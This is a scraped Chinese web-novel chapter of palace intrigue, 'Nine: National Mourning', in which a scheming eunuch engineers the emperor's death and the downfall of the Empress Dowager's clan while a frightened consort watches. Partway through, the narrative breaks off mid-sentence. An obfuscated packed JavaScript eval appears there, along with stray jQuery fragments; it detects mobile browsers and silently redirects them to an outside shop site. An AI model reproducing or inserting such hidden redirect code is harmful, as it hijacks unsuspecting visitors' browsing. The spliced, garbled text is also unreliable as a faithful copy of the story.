文趣网 > 其他小说 > 权宦与太后 > 9. 国丧
    行至昭德宫殿门外,廊庑之下早已齐聚宗室宗亲和一众嫔妃,皆是满面戚容。边上的人见她姗姗来迟,大多只是觉得她面生,不敢贸然上前寒暄。

    叶涟漪四下扫过一圈,没有什么熟悉的面孔,更没瞧见穆锦,她隐隐不安,悄悄用帕子拭干掌心的汗。

    鸢尾低声开口:“诸位皇子现下应是在偏殿祈福,奴婢去为娘娘通报。”

    叶涟漪轻轻点了点头。

    殿内,孟鹤春给穆成礼灌了最后一剂药,正假模假样编着脉案,雨镜池盯着案上香炉,静候发丧之前最后一场好戏,二人听说叶涟漪来寻穆锦,都有几分意外。

    鸢尾见屋内并无外人,将叶涟漪仍是饭食难进也一并回禀了。

    雨镜池问孟鹤春:“不是说她没什么大事。”

    孟鹤春回话:“娘娘脾胃违和并非实症,若换了饭菜还是没用,怕是心病作祟,单凭汤药难以调理。”

    雨镜池淡淡道:“那便是没病。”

    孟鹤春停笔,“倒也不能这样说...”

    雨镜池看了他一眼,孟鹤春不再辩驳,起身到内室装忙去了。

    案上的熏香就要燃尽,他漫不经心问鸢尾:“她还说过什么话,做过什么事。”

    鸢尾略作思量:“也没什么特别的,对了,娘娘方才刚好遇见五殿下出宫,随口问了句,不知六殿下会封到何处。”

    殿内瞬时静下来。

    雨镜池蹙眉,他吩咐膳房变着花样为她重新调配饮食,暗中监视的人也都撤了,她想脱身的心思一点没变,反倒愈发急切。叶家都摆脱不了,还敢把皇城当做想进就进想出就出的地方。

    他就不该怜她胆小体弱,让她作壁上观。

    炉中最后一截熏香燃尽了。

    雨镜池起身,拿起桌案上的名册,缓缓开口:“以后这种话都记下。”

    “是。”

    沉默这一会儿,鸢尾已经一身冷汗。

    *

    叶涟漪在外面左等右等,依旧不见鸢尾回来,锦儿是她为数不多的念想,连人都见不到,总觉得空落落的。

    心里正着急,院中忽然一阵骚动。

    一名少年径直闯了进来,瞧他眉眼与皇帝有几分相像。少年不顾两旁内侍阻拦,大步直冲正殿方向,高声呼喊:“父皇!我要见父皇!”

    几个小太监拦在门口,劝道:“大殿下,圣体违和,现下并未传召,任何人不得入内。”

    “别人都可以进,凭什么我不能进去!我要见父皇!”

    穆钧哭得如同孩童一般,拼了全力往殿内闯,他力气不小,那几个小太监不敢得罪贵人,眼看就要拦不住。

    叶涟漪想起钰清说过,这大殿下是个心智不全的,也只有这样的人敢无所顾忌在此喧哗。

    穆钧还在哭喊,一旁禁军护卫未得到指令,迟迟不敢上前。她开始怕他真闯进去,将里面的隐秘公之于众,以她的处境最容易被推出去顶罪。

    她目光紧紧锁在院内,不知不觉呼吸越来越急促,手中绢帕已经湿透了。

    “宁嫔娘娘这是在害怕什么?”一道熟悉的声音在身侧响起,这声音并不小,边上的人都能听见。

    叶涟漪听出是雨镜池在和她说话,连忙收回视线。他声音是好听的,通透清润,咬字清晰。只是这话问的不明不白,把一旁视线都引到她身上,逼着她给出体面说辞。

    她收敛心事,慌忙解释:“本宫,自然是怕大殿下惊扰陛下。”

    雨镜池目光淡淡扫过廊下痛哭挣扎的大皇子,随口吩咐:“宁娘娘既这般说了,还不快将大殿下请出去。”

    廊下禁军齐齐应是。

    叶涟漪平白被推到台前,成了发号施令那个人,万般惶恐,却没驳出一字。她看着大皇子被人连拖带劝模样,感觉自己也算是人仗狗势,知道了什么是一呼百应。

    可她好像又被卷入事端了。

    雨镜池瞧她红着脸吃瘪,心里那点怒意也散了些。

    叶涟漪顾不上担心自己,她没看见穆锦,心里有些着急,正想询问,一道威严女声自院门外传来。

    “休得对大皇子无礼!”

    紧跟着,外头老太监高声唱报:

    “太后娘娘驾到!”

    她循声望去,暗自疑惑,太后不是病倒了,怎么又到这儿来。

    可视线落回雨镜池身上时,他神色一如寻常,唇角甚至噙着点笑意,那点疑惑似乎解了,今日一切恐怕已在他掌控之中。

    她不自觉往后退了几步,想隐在人群中隔岸观火。

    雨镜池回眸,只看了她一眼,她又乖乖站回来,在他身后半步的位置默默低下头。

    他略偏过头,语声压在方寸之间:“娘娘莫急,咱家可舍不得让娘娘白来一趟。”

    两人贴的过近,落在旁人眼里,总觉得有些别样的意味。

    叶涟漪顾不上旁人的目光,须臾之间几乎把自己入宫以来做的所有事都想了一遍,还是不明白眼前人到底是何用意。

    雨镜池已经不再看她,裕妃小心翼翼搀扶着太后入院,太后面色灰败,眼底布满倦色,燕居朝衫穿戴整齐,却掩不住虚弱。

    禁军并未松开穆钧,但也没往外拖,在原地等着雨镜池的指示。

    殿外廊下众人齐齐屈膝向太后见礼,唯独雨镜池立在原地,并未下跪。

    太后在院中立住,目光扫过众人,最后落向叶涟漪,叶涟漪把头埋的深深的,并没注意到这道视线。

    “宁嫔。”太后语气一改寻常和善,语气有些咄咄逼人,“如今后宫高位空悬,但也轮不到你来做主,为何阻拦大皇子骨肉相见?”

    只说了这两句,太后便觉得有些体力不支,她强撑着维持仪态,心中却早已疲惫。这两日宫禁森严,她早断了对外消息,唯一的消息来源也只有裕妃。

    裕妃说皇帝其余五位皇子都见过了,唯独不见大皇子,她再不出来争争恐怕就没机会了。她们温家如今日薄西山,若不是连出了两个皇后,最后一点尊荣体面也要散了。雨镜池一个阉人,靠拿捏陛下都能今天这地位,他们温氏若是可以扶持一个自己的皇帝也能再保百年富贵。

    只是雨镜池一日不倒,她便不能刻意为难,与叶涟漪发难不过是指桑骂槐。

    叶涟漪无辜受累,抬头看了雨镜池一眼,下意识想求个庇护,雨镜池并不理会,分明是让她自己应付。

    她上前半步,怯声道:“陛下病重,大殿下喧哗于此,臣妾是怕惊扰圣驾。无意让太后娘娘不悦,请,太后娘娘恕罪……”

    这话一出,像是在指责太后纵容皇子前来搅扰御驾。雨镜池立于一侧,暗觉好笑,叶涟漪不通世故,倒会气人的,或许也是不通世故,气人才不自知。他又想起叶涟漪总盼着出宫的事。

    倒也不急,等收拾完老的,再收拾这个小的。

    “你……”太后噎着一口气,叱道:“钧儿是陛下唯一的嫡子,更是皇长子,这个时候旁人不能见,他却是该见见的,你既不解父子情深,也不必抚养六皇子了。”

    叶涟漪听到这个彻底慌了,她主动来此只是想陪陪锦儿,结果人没见到,反倒要失去抚育之权。

    正欲辩解,雨镜池挡在她前头,说道:“太后娘娘,让宁嫔娘娘抚养六殿下是陛下的意思。”

    看他站出来,叶涟漪竟然生出一丝虚妄的心安。

    太后见他终于发话,冷笑道:“那不让钧儿觐见,难不成也是陛下的意思?钧儿不能见,哀家这个做母亲的总能见吧。”

    雨镜池微微颔首:“太后娘娘莫要为难咱家。”

    太后逼问道:“皇帝可曾说过不见哀家?”

    “陛下自然是说过的。”

    叶涟漪偷瞧雨镜池,他在众人面前提及陛下,神色居然十分悲切,真是精于演技。

    “休要胡言。”太后强撑着,提高声调:“陛下如今昏迷不醒,哀家这个做母亲的还不能见一面?”

    满场一片死寂,只能听见大皇子的哭声。

    雨镜池缓步上前,将手中名册躬身呈上。

    “奴婢听闻太后娘娘凤体欠安,怕加重娘娘病情,有一件事迟迟不敢启奏。”

    见太后不接,他特意将名册翻开一页,继续道:“温氏一干人等,私相勾连,假大殿下之名谋逆,罪证俱在此册,温氏及其党羽,前夜俱已拿下,温青云温将军当场服诛。太后娘娘,陛下听闻这等消息伤心欲绝,之后再未清醒,他自然是不愿见娘娘的。”

    太后看着那些卷宗,双手发颤,温青云是她胞弟。

    从前温青云仗着手中兵权,逼着陛下解散了西厂,雨镜池革职三日,不过,也只革职三日。自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841421|211658||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那以后陛下愈发昏聩,雨镜池重组西厂,更是只手遮天了。

    今日种种,不是报复又是什么。

    她原本只以为只是消息不通,万没有想到整个家族已经倾覆,可她来这一趟,已经没有回旋的余地了。

    “你这是污蔑。”太后有气无力,索性直接撕破脸,“陛下昏迷不醒,这天下怕是要跟着你这阉人姓了。”

    “温将军以新帝外祖自居,咱家这才将他就地正法,诏书未下,便笃定大皇子继位,依咱家看,这天下险些要姓温,娘娘不好生规劝,倒在这冤枉起咱家。”

    这话半真半假因果倒置,温青云是被逼到绝路才敢说这种话,但他不算无辜。雨镜池看了看自己的手,还是觉得那些人的血不太干净。

    叶涟漪杵在原地一动不动,忽然想起梦醒时那点带着血腥味的药香,枕边的侧影在脑海中渐渐清晰。

    不全是梦,他真来过,前脚杀过人,后脚又跑到她房中……

    一个连太后亲眷都能随意处置的人,居然盯上她,她何德何能。

    太后艰难吐出一口气,“就算是温家有不臣之心,哀家也该亲自向陛下请罪。”

    她还是得见陛下,圣旨是最后的转机。

    雨镜池面带哀色:“那娘娘便请吧。”

    叶涟漪看向他,难掩惊骇,他居然真要把人放进去。

    她隐约察觉要生变故,不知自己要被置于何地。

    太后也迟疑了,她还没动身,就见雨镜池朝禁军递去一个眼色。兵士应声松开桎梏,穆钧得了空隙,疯了一般,不顾一切往殿内闯。

    殿门本就虚掩,被少年一股蛮力撞开。

    太后有意阻拦,可也来不及了。

    穆钧好容易闯进去,跌跌撞撞扑到御榻前,失声痛呼,可榻上的人怎么都没有反应。

    孟鹤春正守在榻前诊脉,指尖还搭在皇帝腕间。

    穆钧扒住榻沿,双手胡乱去摇晃皇帝的臂弯,哭喊声响彻殿内:“父皇!父皇你看看儿臣!父皇!”

    他一遍遍唤着,无论他如何摇晃,榻上之人再无半分回应。

    孟鹤春抽回手,连忙上前去拉扯穆钧。

    “大殿下不可!切莫再惊扰圣驾!”

    穆钧不肯退让,仍旧一声声呼喊,从前父皇母后都是很疼他的,他想不通自己为什么被送出去,为什么母后和父皇都再也不说话。

    太后紧随其后抢步进殿,方才殿外那点侥幸还悬在心头,可她踏入内寝,一眼便望见御榻之上,帝王双目紧闭,周身气息死寂。

    “陛下!”太后痛呼一声,身子晃了晃。

    孟鹤春急忙拨开穆钧,再次俯身,三指重新按在皇帝腕脉之上,片刻之后,他直起身,神色骇然,急忙跪地,悲声道:“太后娘娘,陛下受大殿下闯殿惊扰,脉息已绝!”

    这一声宣告落下,太后立在原地。

    她急再也撑不住,死死攥住绢帕,一口猛地鲜血呕出,在素白绢帛上团团洇开。

    周遭宫人都受了惊吓,但没人敢出声。

    裕妃快步上前伸手稳稳扶住太后臂膀,眼底掠过一丝不易察觉的放松。太后神智尚还清明,眼角余光恰好捕捉到那一闪而过的异色,心口又是一阵剧痛,她遍体生寒,忽然明白自己这最后挣扎,也在旁人圈套之中。

    她强压喉间腥甜,气息紊乱,厉声下令:“来人!大殿下惊扰圣驾,带出宫去,让荣亲王看好了,不得再踏入皇城半步。”

    事已至此,她唯一能做的只有先保住大皇子的命。

    周遭内侍立刻上前,将尚且伏在御榻边哭喊的穆钧强行拖拽出来。陛下驾崩的消息从殿内传出,满院的宗亲,妃嫔尽数跪倒在地,低声啜泣。

    雨镜池并未去主持局面,他穿过满地跪伏的人,行至叶涟漪面前,语气一如寻常:“宁娘娘,随咱家走一趟吧。”

    轮到她了。

    周遭目光尽数落在此处,看她的眼神说不清是同情还是旁的什么。

    叶涟漪想起雨镜池那句让人摸不着头脑的话来,他说不让她白来,不知是灾祸还是恩典。她双腿虚软,整个人如同踩在棉絮上,用不上力,半晌也没能站起来。

    雨镜池并未上前扶她,只是垂眸望着她发抖的模样,静候她自己起身。

    啧。

    又吓成这样。